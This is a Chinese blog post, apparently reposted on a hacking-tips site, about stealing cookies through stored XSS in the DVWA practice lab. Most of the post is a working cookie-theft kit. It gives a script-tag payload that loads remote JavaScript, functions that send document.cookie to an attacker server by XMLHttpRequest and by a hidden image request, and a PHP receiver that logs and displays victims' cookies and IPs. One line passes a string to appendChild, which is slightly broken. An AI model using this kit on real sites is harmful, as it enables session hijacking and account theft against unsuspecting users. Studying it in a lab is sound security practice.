记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

XSS之Cookie窃取(DVAW平台测试)

2015-06-26 01:30

 面临比赛,有一题是要求写出接收Cookies的脚本,于是模拟了一下XSS环境。

PS:不考虑WAF等过滤

首先该XSS是存储型的,目前DVAW安全级别为low。

好久不写Web网页–竟然忘了跨域了==一开始代码是这样写的xss

先在服务器上放一个js,xss去加载它。

加载xss很简单:


<script type="text/javascript" src="http://xxx.xxx.xxx.xx/getCookies.js"></script>
<img src="#" onerror="cccgood();"/>

好理解的一段代码,远程引入js。创造一个破碎图片,利用错误消息机制调用js的cccgood()函数

getCookies.js:


function cccgood () {
//为方便测试不考虑IE,小伙伴们都配备了Chrome
xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://xxx.xxx.xxx.xxx/a.php?ccc="+escape(document.cookie));
xmlhttp.send();
}

很不幸–Origin null is not allowed by Access-Control-Allow-Origin.

0.0….so我们换种思路,每个src都是一次get~~那么,我们可以用一个不可见的img去src一下。之所以用远程文件是为了解决Payload的字数限制。所以这样写:


function cccgood () {
var img = document.createElement("img");
img.src="http://xxx.xxx.xxx.xxx/a.php?ccc="+escape(document.cookie);
document.body.appendChild("img");
}

escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。防止Cookies带一些特殊字符。

这样就成功的避过了跨域检查。

另付上接收php(我的小伙伴@Zero 提供)

a.php


<?php
if(isset($_GET['ccc']))
{
if(!empty($_GET['ccc']))
{
$ccc = date("y-m-d h:i:s ",time())." Cookies:".$_GET['ccc'];
$user_IP = $_SERVER["REMOTE_ADDR"];
$content="[".$user_IP."] ".$ccc;
$fp=fopen("ccc.txt","a");
fwrite($fp,$content."\r\n");
fclose($fp);
echo "Your Cookie :<br><br> $content<br><br><br><hr>";
}
}
echo "All Cookie :<br><br>";
$fp=fopen("ccc.txt","r");
while (!feof($fp))
{
$bruce=fgets($fp);
echo $bruce."<br>";
}
fclose($fp);
?>

 

知识来源: www.2cto.com/Article/201506/410659.html

阅读:108938 | 评论:0 | 标签:xss

想收藏或者和大家分享这篇好文章→复制链接地址

“XSS之Cookie窃取(DVAW平台测试)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词